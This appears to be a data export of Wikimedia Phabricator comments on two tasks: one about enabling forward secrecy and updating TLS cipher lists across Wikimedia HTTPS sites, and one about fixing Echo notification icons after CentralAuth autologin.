+It is an incomplete list. Please feel free to update it or move it to main namespace, if you want!",,,1404891658,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1
+257577,Add Forward Secrecy to all HTTPS sites,"Change 144731 merged by Dzahn:
+update SSL cipher list for gerrit to support PFS
+
+https://gerrit.wikimedia.org/r/144731",,,1404849809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257571,Add Forward Secrecy to all HTTPS sites,"all services behind the misc. varnish cluster should be fixed now. they were lacking an nginx restart on cp1043/cp1044, which i did now
+
+this should have fixed all these:
+
+doc			
+git			
+gdash			
+graphite		
+parsoid-tests		
+performance		
+integration		
+releases		
+legalpad		
+logstash		
+scholarships",,,1404847614,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+257566,Add Forward Secrecy to all HTTPS sites,"Change 144736 had a related patch set uploaded by Dzahn:
+update SSL cipher list on wikitech to support PFS
+
+https://gerrit.wikimedia.org/r/144736",,,1404845832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257560,Add Forward Secrecy to all HTTPS sites,"Change 144734 had a related patch set uploaded by Dzahn:
+update SSL cipher list for OTRS to support PFS
+
+https://gerrit.wikimedia.org/r/144734",,,1404845477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257554,Add Forward Secrecy to all HTTPS sites,"Change 144731 had a related patch set uploaded by Dzahn:
+update SSL cipher list for gerrit to support PFS
+
+https://gerrit.wikimedia.org/r/144731",,,1404844820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257547,Add Forward Secrecy to all HTTPS sites,"It's a bit unpractical to have one comment for each domain. Jan and chmarkine, it would be IMHO more useful if you resurrected https://wikitech.wikimedia.org/wiki/Httpsless_domains to make a table of which domains have https but lack PFS.",,,1404843632,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0
+257540,Add Forward Secrecy to all HTTPS sites,"meanwhile dumps and lists have been fixed it seems
+
+dumps.wikimedia.org
+ Experimental: This server is not vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224). 
+
+
+lists.wikimedia.org
+ Experimental: This server is not vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224).",,,1404843113,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+257534,Add Forward Secrecy to all HTTPS sites,See also: https://bugzilla.wikimedia.org/show_bug.cgi?id=67564,,,1404647989,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+257529,Add Forward Secrecy to all HTTPS sites,"I just find more and more sites with no FS:
+
+* gerrit.wikimedia.org
+* wikitech.wikimedia.org
+* ticket.wikimedia.org
+* lists.wikimedia.org
+* dumps.wikimedia.org
+* graphite.wikimedia.org
+* gdash.wikimedia.org
+
+Again, graphite.wikimedia.org, gdash.wikimedia.org and dumps.wikimedia.org are ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".
+
+lists.wikimedia.org is ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224), but probably not exploitable"", and lists.wikimedia.org does not support TLS 1.1 and TLS 1.2.
+
+[1] https://www.ssllabs.com/ssltest/analyze.html?d=graphite.wikimedia.org (F)
+[2] https://www.ssllabs.com/ssltest/analyze.html?d=gdash.wikimedia.org (F)
+[3] https://www.ssllabs.com/ssltest/analyze.html?d=dumps.wikimedia.org (F)
+[4] https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org (B)",,,1404552171,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,1,0,1
+257522,Add Forward Secrecy to all HTTPS sites,"I agree with Jan. I think disabling SSL3 and non-fs ciphers is feasible, because only IE 6-8 on XP do not support any FS ciphers, only IE 6 does not support TLS 1.0 or higher, and even IE 7 on Vista supports ECDHE.
+
+Also ticket.wikimedia.org does not support PFS. So all together:
+* gerrit.wikimedia.org
+* wikitech.wikimedia.org
+* ticket.wikimedia.org
+
+https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org",,,1404550349,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+257515,Add Forward Secrecy to all HTTPS sites,"Yes and there are more sites that still lack forward secrecy. Now that there is an acceptable configuration with FS we can just apply that one to them. Some like wikitech and gerrit can probably use one that is less backwards compatible (like no SSL3, disable RC4, difficult: disable non-fs ciphers).",,,1404487612,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+257512,Add Forward Secrecy to all HTTPS sites,"(In reply to chmarkine from comment #15)
+> wikitech.wikimedia.org also doesn't support Forward Secrecy. 
+> 
+> More importantly, SSL Labs says Wikitech server is ""vulnerable to the
+> OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".
+> 
+> * https://www.ssllabs.com/ssltest/analyze.html?d=wikitech.wikimedia.org
+
+F to A- now",,,1404475551,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1
+257508,Add Forward Secrecy to all HTTPS sites,"wikitech.wikimedia.org also doesn't support Forward Secrecy. 
+
+More importantly, SSL Labs says Wikitech server is ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".
+
+* https://www.ssllabs.com/ssltest/analyze.html?d=wikitech.wikimedia.org",,,1404474258,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1
+257504,Add Forward Secrecy to all HTTPS sites,"gerrit.wikimedia.org still does not support Forward Secrecy.
+
+* https://www.ssllabs.com/ssltest/analyze.html?d=gerrit.wikimedia.org",,,1404473729,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+257498,Add Forward Secrecy to all HTTPS sites,"None of those on gdash differentiate between HTTP and HTTPS. I do not have full graphite access, so the ability to create something that might help may exist.",,,1404242275,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+257493,Add Forward Secrecy to all HTTPS sites,"(In reply to Jan Zerebecki from comment #11)
+> It would be interesting if we could publish an aggregated
+> and anonymized analysis of the before and after comparison.
+
+You know about:
+* https://gdash.wikimedia.org/dashboards/frontend/ ,
+* http://ur1.ca/hn8fi
+* and any other graphite graph you may desire,
+don't you?",,,1404219335,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+257489,Add Forward Secrecy to all HTTPS sites,"For the potential impact on HTTPS clients Chris Steipp told me on IRC he looked into what I assume is EventLogging data and later told me that Oliver had done some analysis work on that. I wanted to ask Oliver if he could publish his queries (or SQL and R code or whatever he used), but haven't yet done so (feel free to do that). The idea was also to compare before and after deployment. It would be interesting if we could publish an aggregated and anonymized analysis of the before and after comparison.",,,1404217537,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+257486,Add Forward Secrecy to all HTTPS sites,The change is now live. Thanks Giuseppe!,,,1404212198,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+257482,Add Forward Secrecy to all HTTPS sites,"Change 132393 merged by Giuseppe Lavagetto:
+Improve nginx TLS cipher list & session timeout
+
+https://gerrit.wikimedia.org/r/132393",,,1404209042,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257477,Add Forward Secrecy to all HTTPS sites,"The load may not be a problem for our servers, but I'd like to know whether there is a potential impact on user experience, and whether an attempt has been made to quantify it.",,,1403913916,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,43,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+257474,Add Forward Secrecy to all HTTPS sites,"Giuseppe tested the settings, proving the load is not a problem, and thanks to this the change is now scheduled for next week!
+https://wikitech.wikimedia.org/wiki/Deployments#deploycal-item-20140701T1000",,,1403911156,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,43,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+257470,Add Forward Secrecy to all HTTPS sites,"Change 132393 had a related patch set uploaded by MZMcBride:
+Improve nginx TLS/SSL settings.
+
+https://gerrit.wikimedia.org/r/132393",,,1400735488,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+257463,Add Forward Secrecy to all HTTPS sites,https://gerrit.wikimedia.org/r/#/c/132393/,,,1399723508,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+257458,Add Forward Secrecy to all HTTPS sites,"According to https://wikitech.wikimedia.org/wiki/HTTPS/Future_work this is in the plans already (second bullet), adjusting fields.",,,1387535850,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0
+257453,Add Forward Secrecy to all HTTPS sites,"**ondrej.sered** wrote:
+
+Google is already supporting Forward Secrecy for SSL connections.
+
+The deployment of Forward Secrecy muss be done carefully, especialy when SSL session IDs are used. But SSL session IDs can help reduce the overhead of Forward Secrecy:
+
+https://www.imperialviolet.org/2013/06/27/botchingpfs.html
+http://blog.ivanristic.com/2013/06/ssl-labs-deploying-forward-secrecy.html
+http://blog.ivanristic.com/2013/08/configuring-apache-nginx-and-openssl-for-forward-secrecy.html
+http://blog.ivanristic.com/2013/08/increasing-dhe-strength-on-apache.html
+
+There have been some questions about backdoors in ECDHE ciphers:
+
+https://crypto.stackexchange.com/questions/10263/should-we-trust-the-nist-recommended-ecc-parameters",,,1386755760,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,15,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+257449,Add Forward Secrecy to all HTTPS sites,"The blog post [1] explains the ""forward secrecy"" property only adds a +15% in CPU load for ECDHE ciphers, but +300% for simple DHE ciphers. Probably the Operations team should carefully review this bug before activating it for performance reasons. Nowadays only Chromium and Firefox support FS, Opera only supports DHE ciphers and Internet Explorer don’t support FS; I don’t know for Safari.
+
+This other blog post [2] (and blog) explains how Google configured FS: why they chosed ECDHE (this performance reason) and how they configured session tickets.
+
+[1] http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html
+[2] https://www.imperialviolet.org/2011/11/22/forwardsecret.html",,,1377764824,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+257444,Add Forward Secrecy to all HTTPS sites,"Where can I find more information? 
+https://en.wikipedia.org/wiki/Perfect_forward_secrecy ?",,,1377511226,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,1,0,0
+55134,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"**Steps to reproduce**
+* Create an account
+* Log in to [[https://en.wikipedia.org|en.wikipedia.org]]. Might need to select ""keep me logged in"" type settings to set the central auth cookies on loginwiki.
+* Visit a wiki on a different second-level domain, such as [[https://en.wikiquote.org|en.wikiquote.org]].
+
+**What happens?**:
+* Ping and notice icons are replaced with text like `Alert (0)`. Sometimes the icon styling is missing:
+{F11729}
+sometimes it is repeated:
+{F35784175}
+A page refresh fixes the issue.
+
+**What should have happened instead?**:
+* Ping and notice icons are normal on first page load. No refresh needed.
+{F35784182}
+
+**Other information**
+* HTML looks identical.
+{F35784192}
+* Possible CSS issue. The following appears to be present in the working example and missing in the non working example.
+{F35784189}
+* Caused by CentralAuth autologin (sometimes) replacing the user toolbar without reloading the page, see `modules/inline/autologin.js`
+* That script calls the `centralauth-p-personal-reset` JS hook, which is probably the right place to fix this",Medium,50.0,1377040740,1673314228.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,PHID-USER-4alekd35in5tg53zpsl4,False,PHID-TASK-ipccqgbhra6m6g4otthg,task_description,resolved,True,c2,2,False,False,False,-2,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,0,1,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+2046068,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,Checked on `wmf.17` - works as expected. ,,,1673314228,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,488,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+2022103,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"Change 858697 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Echo@master] Initialize Echo when CentralAuth autologin replaces the user toolbar%%%
+https://gerrit.wikimedia.org/r/858697",,,1669021322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,481,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+2021937,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"Change 858697 had a related patch set uploaded (by Gergő Tisza; author: Gergő Tisza):
+%%%[mediawiki/extensions/Echo@master] Initialize Echo when CentralAuth autologin replaces the user toolbar%%%
+https://gerrit.wikimedia.org/r/858697",,,1668929324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,481,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+2019537,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,">>! In T55134#577962, @Legoktm wrote:
+> I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?
+
+Yeah I think we'd have to redo some of `ext.echo.init.js` when that hook is called.",,,1668569551,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,481,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+2019536,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,">>! In T55134#577962, @Legoktm wrote:
+> I think Echo just needs to add a listener to the centralauth-p-personal-reset hook?
+
+Yeah I think we'd have to redo some of `modules/ext.echo.init.js` when that hook is called.",,,1668569532,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,True,,,481,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,1
+691203,Echo notifications icons (in p-personal) displayed with missing or incorrect style after a CentralAuth autologin,"-TestMe, I see this pretty often.",,,1468009663,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ipccqgbhra6m6g4otthg,task_subcomment,,True,c2,3,False,,,149,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
